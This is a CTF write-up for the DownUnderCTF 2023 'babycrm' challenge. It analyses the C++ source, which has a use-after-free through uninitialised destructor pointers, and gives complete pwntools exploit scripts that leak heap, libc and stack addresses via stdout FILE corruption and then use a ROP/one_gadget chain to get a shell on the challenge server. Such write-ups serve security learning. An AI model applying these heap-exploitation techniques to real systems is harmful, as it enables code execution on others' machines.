---
# System prepended metadata

title: 'DownUnderCTF 2023:'

---

# DownUnderCTF 2023: babycrm

### Description:
![](https://hackmd.io/_uploads/SktLM6403.png)

### Checksec
```sh
 checksec baby-crm                                                                   
[*] '/home/lynklee/CTF/DUCTF/babycrm/baby-crm'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'
```
### Source code: 

```cpp
#include <vector>
#include <string>
#include <iostream>
#include <unistd.h>
#include <stdio.h>

#define DESCRIPTION_SIZE 0x50


using namespace std;

void fill_buf(char * buf, int len) {

    int i = 0;
    int c;
    for(int i = 0; i<len; i++) {
        buf[i] = c = getchar();
        if (c == '\n') {
            break; 
        }
    }
}

class Order {
  public:
  
    Order(): value_(0){};

    Order(double value) {
      value_ = value;
    }

    ~Order() {
      delete description_;
    }
    
    void print_order() {
      cout << "Value: " << value_ << endl;
      cout << "Description: " << endl;
      print_description();

    }

    double value() {
      return value_;
    }
    char * description() {
      return description_;
    }

    void print_description() {
      fwrite(description_, DESCRIPTION_SIZE, 1, stdout);
    }

    void edit_description() {
      cout << "New description: ";
      if (description_ == nullptr) {
        cout << "Description not yet set" << endl;
        return;
      }
      fill_buf(description_, DESCRIPTION_SIZE);
    }

    void set_description() {

      cout << "> ";
      char * desc_buf = (char*)malloc(DESCRIPTION_SIZE);
      fill_buf(desc_buf, DESCRIPTION_SIZE);

      description_ = desc_buf;
    }

  void help() {
    cout << "Use an order to track the value and details \
of a single order. A Customer may hold several orders." << endl;
  }

  private:

    char* description_;
    double value_;
     
};

class Customer {
  public:

    Customer() {
      revenue_ = 0;
      orders_ = new vector<Order*>();
    }

    string name() {
      return name_;
    }

    void set_name(string name) {
      name_ = name;
    }

    void set_description(string description) {
      description_ = description; 
    }

    vector<Order*> * orders() {
      return orders_;
    }
   
    void print() {
      cout << "Name: " << name_ << endl;
      cout << "Description: " << description_ << endl;
      cout << "Orders: " << endl;
      for (auto o : *orders_) {
        o->print_order();
      }
    }

    void help() {
      cout << "Use Customer to track a single customer, including their name\
, description, and their current open orders." << endl;
    }

  private:
    string name_;
    float revenue_; 
    string description_;
    vector<Order*> * orders_;
};

vector<Customer*> customers;

void help() {
  
  Order o;
  Customer c;
  size_t option;

  cout << "1. Order Help" << endl;
  cout << "2. Customer Help" << endl;
  cout << "> ";
  cin >> option;
  switch (option) {
    case 1:
      o.help();
      break;
    case 2:
      c.help();
      break;
  }
}                               

int menu(){
  char buf[0x100];
  cout << "1. New Customer" << endl;
  cout << "2. Alter Customer" << endl;
  cout << "3. Show Customer" << endl;
  cout << "4. Help" << endl;
  cout << "> ";
  int choice;
  scanf("%d", &choice);
  return choice;
}
                                       
void new_customer() {

  Customer * customer = new Customer();
  cout << "Customer name: ";
  string name;
  cin >> name;
  customer->set_name(name);
  customers.push_back(customer);
}

Order * new_order() {
  cout << "Order value: ";
  float value;
  cin >> value;
  Order * order = new Order(value);
  order->set_description();
  return order;
}

void alter_customer(){

  char buf [0x10];
  size_t choice;
  size_t option;

  cout << "Customer to alter: ";
  cin >> choice;

  if (choice >= customers.size()) {
    cout << "No such customer" << endl;
    return;
  } 
  Customer * customer = customers[choice];
  cout << "1. Change name" << endl;
  cout << "2. Change description" << endl;
  cout << "3. Add Order" << endl;
  cout << "4. Edit Order" << endl;
  cout << "5. Mark Order complete" << endl;
  cout << "> ";
  cin >> option;

  switch(option) {
    case 1: {
      cout << "New name: ";
      string name;
      cin >> name;
      customer->set_name(name);
      break;
    }
    case 2: {
      cout << "New description: ";
      string description;
      cin >> description;
      customer->set_description(description);
      break;
    }
    case 3: {
      Order * order = new_order();
      customer->orders()->push_back(order); 
      break;
    }
      
    case 4: {
      cout << "Order to edit: ";
      size_t idx;
      cin >> idx;
      getchar();
      if (idx >= customer->orders()->size()){
        cout << "No such order" << endl;
        return;
      }
      Order * order = customer->orders()->at(idx);
      order->edit_description();
      break;
    }
    default:
      cout << "No such option" << endl;

  }
}  

void show_customer() {
  Customer * customer;

  size_t choice;
  cout << "Customer to show: " << endl;
  cin >> choice;
  customer = customers[choice];
  customer->print();
}
void init() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

int main()                             
{      
  init();
  int option;     
  while (true) {
    option = menu();
    switch(option) {
      case 1:
        new_customer();
        break;
      case 2:
        alter_customer();
        break;
      case 3:
        show_customer();
        break;
      case 4:
        help();
        break;
      default:
        goto exit;
    }
  }                                     
exit:                                   
  return 0;                            
}  
```

It looks like a CRM process, with customers and their orders.

4 options:

- `new_customer` adds a new customer
- `alter_customer` changes a customer's information, description, orders.
- `show_customer` prints information about customers based on index
- `help` prints instructons of customers and orders.
 

### Finding the vulnerability

There are two bugs in this code:

```cpp
void show_customer() {
  Customer * customer;

  size_t choice;
  cout << "Customer to show: " << endl;
  cin >> choice;
  customer = customers[choice];
  customer->print();
}
```

There are no check on `choice` &rarr; `OOB`

```cpp
void help() {
  
  Order o;
  Customer c;
  size_t option;

  cout << "1. Order Help" << endl;
  cout << "2. Customer Help" << endl;
  cout << "> ";
  cin >> option;
  switch (option) {
    case 1:
      o.help();
      break;
    case 2:
      c.help();
      break;
  }
}    
```

Here the `o` with type `Order` and `c` with type `Customer` are local variables and stored on stack. At the end of the function, it will call `~Order()` or `~Customer()`, which will delete the pointer if `[rbp - 8]` is not `NULL`.  

```sh
───────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────
   0x55555555704c <Order::~Order()+20>        mov    rax, qword ptr [rax]
   0x55555555704f <Order::~Order()+23>        test   rax, rax
   0x555555557052 <Order::~Order()+26>        je     Order::~Order()+41                <Order::~Order()+41>
 
   0x555555557054 <Order::~Order()+28>        mov    esi, 1
   0x555555557059 <Order::~Order()+33>        mov    rdi, rax
 ► 0x55555555705c <Order::~Order()+36>        call   operator delete(void*, unsigned long)@plt                <operator delete(void*, unsigned long)@plt>
        rdi: 0x7fffffffdf20 —▸ 0x7fffffffdf40 ◂— 0x1
        rsi: 0x1
        rdx: 0x7ffff7e23370 (vtable for std::ostream+24) —▸ 0x7ffff7d3b5f0 (std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()) ◂— endbr64 
        rcx: 0xc00
 
   0x555555557061 <Order::~Order()+41>        nop    
   0x555555557062 <Order::~Order()+42>        leave  
   0x555555557063 <Order::~Order()+43>        ret    
 
   0x555555557064 <Order::print_order()>      endbr64 
   0x555555557068 <Order::print_order()+4>    push   rbp
────────────────────────────────────────[ STACK ]─────────────────────────────────────────
00:0000│ rsp 0x7fffffffde70 ◂— 0x0
01:0008│     0x7fffffffde78 —▸ 0x7fffffffdea0 —▸ 0x7fffffffdf20 —▸ 0x7fffffffdf40 ◂— 0x1
02:0010│ rbp 0x7fffffffde80 —▸ 0x7fffffffdf20 —▸ 0x7fffffffdf40 ◂— 0x1
03:0018│     0x7fffffffde88 —▸ 0x5555555565e5 (help()+263) ◂— mov rax, qword ptr [rbp - 0x18]
04:0020│     0x7fffffffde90 —▸ 0x7fffffffdeb8 ◂— 0x0
05:0028│     0x7fffffffde98 ◂— 0x1
06:0030│     0x7fffffffdea0 —▸ 0x7fffffffdf20 —▸ 0x7fffffffdf40 ◂— 0x1
07:0038│     0x7fffffffdea8 ◂— 0x0
──────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────
 ► f 0   0x55555555705c Order::~Order()+36
   f 1   0x5555555565e5 help()+263
   f 2   0x555555556f37 main+89
   f 3   0x7ffff7829d90 __libc_start_call_main+128
   f 4   0x7ffff7829e40 __libc_start_main_impl+128
   f 5   0x5555555563c5 _start+37
──────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 
```

If we can use this hole to put a valid chunk into `[rbp - 8]`, it can cause a `use-after-free` bug.

I didn't figure how to take advantage of `OOB` bug for exploitation, if you know, feel free to DM me and let me know. I will focus on `use-after-free` solely to get a shell.

```py
from pwn import *

e = context.binary = ELF('./baby-crm')
libc = ELF('./libc.so.6')

#r = e.process()
r = remote('2023.ductf.dev', 30014)
def choice(c: int):   
    r.recv()
    r.sendline(str(c).encode())
def new(name: bytes):
    choice(1)
    r.recv()
    r.sendline(name)
def alter(idx: int):
    choice(2)
    r.recv()
    r.sendline(str(idx).encode())
def change_name(idx: int, name: bytes):
    alter(idx)
    choice(1)
    r.recv()
    r.sendline(name)
def change_description(idx: int, description: bytes):
    alter(idx)
    choice(2)
    r.recv()
    r.sendline(description)
def add_order(idx: int, value: float):
    alter(idx)
    choice(3)
    r.recv()
    r.sendline(str(value).encode())
def edit_order(idx: int, idx_order: int, description: bytes):
    alter(idx)
    choice(4)
    r.recv()
    r.sendline(str(idx_order).encode())
    r.recv()
    r.sendline(description)
def complete(idx: int):
    alter(idx)
    choice(5)
def show(idx: int):
    choice(3)
    r.recv()
    r.sendline(str(idx).encode())
def help_(mode: int):
    choice(4)
    r.recv()
    r.sendline(str(mode).encode())
gs = """
b*_ZN5Order11print_orderEv+133
b*main+93
"""
#gdb.attach(r, gs)
for i in range(9):
    new(f'Lynk{i}'.encode())
for i in range(9):
    change_name(i, chr(0x41 + i).encode() * 0x10)
for i in range(9):
    change_description(i, chr(0x41 + i).encode() * 0x20)
for i in range(9):
    change_description(i, chr(0x41 + i).encode() * 0x30)  
add_order(0, 1200)
help_(2)
```

```sh
 RAX  0x55f9ea4a2eb0 —▸ 0x55f9ea4a3460 ◂— 'AAAAAAAAAAAAAAAA'
 RBX  0x0
 RCX  0xc00
 RDX  0x7f588a623370 (vtable for std::ostream+24) —▸ 0x7f588a53b5f0 (std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()) ◂— endbr64 
*RDI  0x55f9ea4a2eb0 —▸ 0x55f9ea4a3460 ◂— 'AAAAAAAAAAAAAAAA'
 RSI  0x1
 R8   0x6a
 R9   0x55f9ea2371d0 (std::cin@GLIBCXX_3.4+16) —▸ 0x7f588a6228f8 (vtable for std::istream+64) —▸ 0x7f588a5200d0 (virtual thunk to std::basic_istream<char, std::char_traits<char> >::~basic_istream()) ◂— endbr64 
 R10  0x7f588a1beac0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
 R11  0x246
 R12  0x7ffff6f9a668 —▸ 0x7ffff6f9c3cb ◂— '/home/lynklee/CTF/DUCTF/babycrm/baby-crm'
 R13  0x55f9ea231ede (main) ◂— endbr64 
 R14  0x55f9ea236cc0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x55f9ea231440 (__do_global_dtors_aux) ◂— endbr64 
 R15  0x7f588a7a8040 (_rtld_global) —▸ 0x7f588a7a92e0 —▸ 0x55f9ea22f000 ◂— 0x10102464c457f
 RBP  0x7ffff6f9a490 —▸ 0x7ffff6f9a530 —▸ 0x7ffff6f9a550 ◂— 0x1
 RSP  0x7ffff6f9a480 ◂— 0x0
*RIP  0x55f9ea23205c (Order::~Order()+36) ◂— call 0x55f9ea2312b0
──────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────
   0x55f9ea23204c <Order::~Order()+20>        mov    rax, qword ptr [rax]
   0x55f9ea23204f <Order::~Order()+23>        test   rax, rax
   0x55f9ea232052 <Order::~Order()+26>        je     Order::~Order()+41                <Order::~Order()+41>
 
   0x55f9ea232054 <Order::~Order()+28>        mov    esi, 1
   0x55f9ea232059 <Order::~Order()+33>        mov    rdi, rax
 ► 0x55f9ea23205c <Order::~Order()+36>        call   operator delete(void*, unsigned long)@plt                <operator delete(void*, unsigned long)@plt>
        rdi: 0x55f9ea4a2eb0 —▸ 0x55f9ea4a3460 ◂— 'AAAAAAAAAAAAAAAA'
        rsi: 0x1
        rdx: 0x7f588a623370 (vtable for std::ostream+24) —▸ 0x7f588a53b5f0 (std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()) ◂— endbr64 
        rcx: 0xc00
 
   0x55f9ea232061 <Order::~Order()+41>        nop    
   0x55f9ea232062 <Order::~Order()+42>        leave  
   0x55f9ea232063 <Order::~Order()+43>        ret    
 
   0x55f9ea232064 <Order::print_order()>      endbr64 
   0x55f9ea232068 <Order::print_order()+4>    push   rbp
───────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffff6f9a480 ◂— 0x0
01:0008│     0x7ffff6f9a488 —▸ 0x7ffff6f9a4b0 —▸ 0x55f9ea4a2eb0 —▸ 0x55f9ea4a3460 ◂— 'AAAAAAAAAAAAAAAA'
02:0010│ rbp 0x7ffff6f9a490 —▸ 0x7ffff6f9a530 —▸ 0x7ffff6f9a550 ◂— 0x1
03:0018│     0x7ffff6f9a498 —▸ 0x55f9ea2315e5 (help()+263) ◂— mov rax, qword ptr [rbp - 0x18]
04:0020│     0x7ffff6f9a4a0 ◂— 0x3
05:0028│     0x7ffff6f9a4a8 ◂— 0x2
06:0030│     0x7ffff6f9a4b0 —▸ 0x55f9ea4a2eb0 —▸ 0x55f9ea4a3460 ◂— 'AAAAAAAAAAAAAAAA'
07:0038│     0x7ffff6f9a4b8 ◂— 0x0
─────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
 ► f 0   0x55f9ea23205c Order::~Order()+36
   f 1   0x55f9ea2315e5 help()+263
   f 2   0x55f9ea231f37 main+89
   f 3   0x7f588a029d90 __libc_start_call_main+128
   f 4   0x7f588a029e40 __libc_start_main_impl+128
   f 5   0x55f9ea2313c5 _start+37
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 
```

Here we can free the `customer[0]` due to its pointer remain at `[rbp - 8]` after adding an order.

Allocate another order in order to create a `vector` chunk, which could use for leaking heap base and libc base by option `show`.

```py
from pwn import *

e = context.binary = ELF('./baby-crm')
libc = ELF('./libc.so.6')

r = e.process()
#r = remote('2023.ductf.dev', 30014)
def choice(c: int):   
    r.recv()
    r.sendline(str(c).encode())
def new(name: bytes):
    choice(1)
    r.recv()
    r.sendline(name)
def alter(idx: int):
    choice(2)
    r.recv()
    r.sendline(str(idx).encode())
def change_name(idx: int, name: bytes):
    alter(idx)
    choice(1)
    r.recv()
    r.sendline(name)
def change_description(idx: int, description: bytes):
    alter(idx)
    choice(2)
    r.recv()
    r.sendline(description)
def add_order(idx: int, value: float):
    alter(idx)
    choice(3)
    r.recv()
    r.sendline(str(value).encode())
def edit_order(idx: int, idx_order: int, description: bytes):
    alter(idx)
    choice(4)
    r.recv()
    r.sendline(str(idx_order).encode())
    r.recv()
    r.sendline(description)
def complete(idx: int):
    alter(idx)
    choice(5)
def show(idx: int):
    choice(3)
    r.recv()
    r.sendline(str(idx).encode())
def help_(mode: int):
    choice(4)
    r.recv()
    r.sendline(str(mode).encode())
gs = """
b*_ZN5Order11print_orderEv+133
b*main+93
b*_Z9new_orderv
"""
gdb.attach(r, gs)
for i in range(9):
    new(f'Lynk{i}'.encode())
for i in range(9):
    change_name(i, chr(0x41 + i).encode() * 0x10)
for i in range(9):
    change_description(i, chr(0x41 + i).encode() * 0x20)
for i in range(9):
    change_description(i, chr(0x41 + i).encode() * 0x30)  
add_order(0, 1200)
help_(2)
pause()
add_order(0, 1200)

show(0)
r.recvuntil(b'Value: 1200')
r.recvuntil(b'Description')
r.recvuntil(b'Description: \n')
leak = r.recv(56)
heap = u64(leak[40:48]) - 0x12800
log.info(f'Heap: {hex(heap)}')
new(b'F' * 1050)
add_order(9, 2000)
help_(2)
add_order(9, 2100)
#pause()
show(9)
r.recvuntil(b'Value: 2000')
r.recvuntil(b'Description: \n')
s = r.recv(32)

libc.address = u64(s[8:16]) - libc.sym['main_arena'] - 192
log.info(f'Libc: {hex(libc.address)}')
```

### Where to overwrite and get shell?

Problems here when it's not linear to put an arbitrary address into `tcache`. Because `cpp` has done a lot of things with heap that is far away my from my observation. So I need to debug and dig deeper for a while and I recognize an invaluable piece of code.

```c++
    void set_name(string name) {
      name_ = name;
    }

    void set_description(string description) {
      description_ = description; 
    }
```
And also take a closer look at the `private` attribute of class `Customer`

```cpp
  private:
    string name_;
    float revenue_; 
    string description_;
    vector<Order*> * orders_;
```

A `Customer` chunk is a `0x60-size` chunk. After causing a `use-after-free`, my approach would be to use `change_name` in a different chunk in order to reuse the freed chunk and input an arbitrary address. See the figure below to clearly understand.

```sh
pwndbg> tel &customers 0
00:0000│  0x55cb708512e0 (customers) —▸ 0x55cb717d73b0 —▸ 0x55cb717d6eb0 ◂— 0x55cb7170a
pwndbg> tel 0x55cb717d73b0 40
00:0000│  0x55cb717d73b0 —▸ 0x55cb717d6eb0 ◂— 0x55cb7170a
01:0008│  0x55cb717d73b8 —▸ 0x55cb717d6f50 —▸ 0x55cb717d7490 ◂— 'BBBBBBBBBBBBBBBB'
02:0010│  0x55cb717d73c0 —▸ 0x55cb717d6ff0 —▸ 0x55cb717d74c0 ◂— 'CCCCCCCCCCCCCCCC'
03:0018│  0x55cb717d73c8 —▸ 0x55cb717d7080 —▸ 0x55cb717d74f0 ◂— 'DDDDDDDDDDDDDDDD'
04:0020│  0x55cb717d73d0 —▸ 0x55cb717d70e0 —▸ 0x55cb717d7520 ◂— 'EEEEEEEEEEEEEEEE'
05:0028│  0x55cb717d73d8 —▸ 0x55cb717d71b0 —▸ 0x55cb717d7550 ◂— 'FFFFFFFFFFFFFFFF'
06:0030│  0x55cb717d73e0 —▸ 0x55cb717d7230 —▸ 0x55cb717d7580 ◂— 'GGGGGGGGGGGGGGGG'
07:0038│  0x55cb717d73e8 —▸ 0x55cb717d72b0 —▸ 0x55cb717d75b0 ◂— 'HHHHHHHHHHHHHHHH'
08:0040│  0x55cb717d73f0 —▸ 0x55cb717d7330 —▸ 0x55cb717d75e0 ◂— 'IIIIIIIIIIIIIIII'
09:0048│  0x55cb717d73f8 —▸ 0x55cb717d7bb0 —▸ 0x7fb0b9c1a780 (_IO_2_1_stdout_) ◂— 0xfbad2887
0a:0050│  0x55cb717d7400 ◂— 0x0
... ↓     6 skipped
11:0088│  0x55cb717d7438 ◂— 0x21 /* '!' */
12:0090│  0x55cb717d7440 —▸ 0x55cb717d7ad0 ◂— 0xa /* '\n' */
13:0098│  0x55cb717d7448 ◂— 0x4092c00000000000
14:00a0│  0x55cb717d7450 ◂— 0x0
15:00a8│  0x55cb717d7458 ◂— 0x31 /* '1' */
16:00b0│  0x55cb717d7460 ◂— 'AAAAAAAAAAAAAAAA'
17:00b8│  0x55cb717d7468 ◂— 'AAAAAAAA'
18:00c0│  0x55cb717d7470 ◂— 0x0
... ↓     2 skipped
1b:00d8│  0x55cb717d7488 ◂— 0x31 /* '1' */
1c:00e0│  0x55cb717d7490 ◂— 'BBBBBBBBBBBBBBBB'
1d:00e8│  0x55cb717d7498 ◂— 'BBBBBBBB'
1e:00f0│  0x55cb717d74a0 ◂— 0x0
... ↓     2 skipped
21:0108│  0x55cb717d74b8 ◂— 0x31 /* '1' */
22:0110│  0x55cb717d74c0 ◂— 'CCCCCCCCCCCCCCCC'
23:0118│  0x55cb717d74c8 ◂— 'CCCCCCCC'
24:0120│  0x55cb717d74d0 ◂— 0x0
... ↓     2 skipped
27:0138│  0x55cb717d74e8 ◂— 0x31 /* '1' */
pwndbg> x/12gx 0x55cb717d7bb0 
0x55cb717d7bb0:	0x00007fb0b9c1a780	0x00007fb0b9c1a780
0x55cb717d7bc0:	0x00007fb0b9c1a780	0x00007fb0b9c1a780
0x55cb717d7bd0:	0x00007fb0b9c1a780	0x00007fb0b9c1a780
0x55cb717d7be0:	0x00007fb0b9c1a780	0x00007fb0b9c1a780
0x55cb717d7bf0:	0x00007fb0b9c1a780	0x00007fb0b9c1a780
0x55cb717d7c00:	0x0000000000000000	0x0000000000000091
```

As `customers` is a global variable, it will hold different pointers to each `Customer` chunk.

`0x55cb717d7bb0` is the address of the 9th `Customer`, and as the private attributes of class `Customer` contains `string name` and `string description`, which is now `_IO_2_1_stdout_`, we can choose to overwrite `_IO_2_1_stdout_` to leak stack.

```
fp->flags = 0xfbad1800
fp->_IO_write_base = environ
fp->_IO_write_base = environ + 8 
```
By modifying stdout like this, you can get stack address. 

Use the similar method to achieve arbitrary write  again by writing to `saved rip` and input an invalid option, which will return to our ROPchain.

### Final script:

```py
from pwn import *

e = context.binary = ELF('./baby-crm')
libc = ELF('./libc.so.6')

#r = e.process()
r = remote('2023.ductf.dev', 30014)
def choice(c: int):   
    r.recv()
    r.sendline(str(c).encode())
def new(name: bytes):
    choice(1)
    r.recv()
    r.sendline(name)
def alter(idx: int):
    choice(2)
    r.recv()
    r.sendline(str(idx).encode())
def change_name(idx: int, name: bytes):
    alter(idx)
    choice(1)
    r.recv()
    r.sendline(name)
def change_description(idx: int, description: bytes):
    alter(idx)
    choice(2)
    r.recv()
    r.sendline(description)
def add_order(idx: int, value: float):
    alter(idx)
    choice(3)
    r.recv()
    r.sendline(str(value).encode())
def edit_order(idx: int, idx_order: int, description: bytes):
    alter(idx)
    choice(4)
    r.recv()
    r.sendline(str(idx_order).encode())
    r.recv()
    r.sendline(description)
def complete(idx: int):
    alter(idx)
    choice(5)
def show(idx: int):
    choice(3)
    r.recv()
    r.sendline(str(idx).encode())
def help_(mode: int):
    choice(4)
    r.recv()
    r.sendline(str(mode).encode())
gs = """
b*_ZN5Order11print_orderEv+133
b*main+93
b*_Z9new_orderv
b*_Z14alter_customerv+745
"""
#gdb.attach(r, gs)
for i in range(9):
    new(f'Lynk{i}'.encode())
for i in range(9):
    change_name(i, chr(0x41 + i).encode() * 0x10)
for i in range(9):
    change_description(i, chr(0x41 + i).encode() * 0x20)
for i in range(9):
    change_description(i, chr(0x41 + i).encode() * 0x30)  
add_order(0, 1200)
help_(2)

add_order(0, 1200)

show(0)
r.recvuntil(b'Value: 1200')
r.recvuntil(b'Description')
r.recvuntil(b'Description: \n')
leak = r.recv(56)
heap = u64(leak[40:48]) - 0x12800
log.info(f'Heap: {hex(heap)}')
new(b'F' * 1050)
add_order(9, 2000)
help_(2)
add_order(9, 2100)

show(9)
r.recvuntil(b'Value: 2000')
r.recvuntil(b'Description: \n')
s = r.recv(32)

libc.address = u64(s[8:16]) - libc.sym['main_arena'] - 192
log.info(f'Libc: {hex(libc.address)}')

pop_rdi = 0x000000000002a3e5 + libc.address 
bin_sh = next(libc.search(b'/bin/sh\0'))
ret = pop_rdi + 1
system = libc.sym['system']
pop_rsi = libc.address + 0x000000000002be51
one_gadget = libc.address + 0xebcf8

add_order(9, 2200)
help_(2)
stdout = libc.sym['_IO_2_1_stdout_']
pause()
change_name(8, p64(stdout) * 10)
help_(2)
#pause()
change_description(9, p64(0xfbad1800) + p64(0) * 3 + p64(libc.sym['environ']) + p64(libc.sym['environ'] + 16))
stack = u64(r.recvuntil(b'\x7f')[-6:] + b'\0' * 2) - 0x128
log.info(f'Stack: {hex(stack)}')
r.recv()
r.sendline(b'2')
r.recv()
r.sendline(b'6')
r.recv()
r.sendline(b'4')
r.recv()
r.sendline(b'9')

help_(6)

payload = p64(stack) 
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(one_gadget)

change_name(5, p64(stack) * 10)
r.recv()
r.sendline(b'2')
r.recv()
r.sendline(b'6')
r.recv()
r.sendline(b'2')
r.recv()
r.sendline(payload)
r.recv()
r.sendline(b'5')
r.interactive()
```

```sh
 python3 x.py                                                                       ─╯
[*] '/home/lynklee/CTF/DUCTF/babycrm/baby-crm'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'
[*] '/home/lynklee/CTF/DUCTF/babycrm/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 2023.ductf.dev on port 30014: Done
[*] Heap: 0x5b1dd134a000
[*] Libc: 0x79bfb6c6d000
[*] Paused (press any to continue)
[*] Stack: 0x7ffea66c7910
[*] Switching to interactive mode
$ id
uid=1000 gid=1000 groups=1000
$ ls
flag.txt
pwn
$ cat flag.txt
DUCTF{0u7_0f_5c0p3_0u7_0f_m1nd}$  
```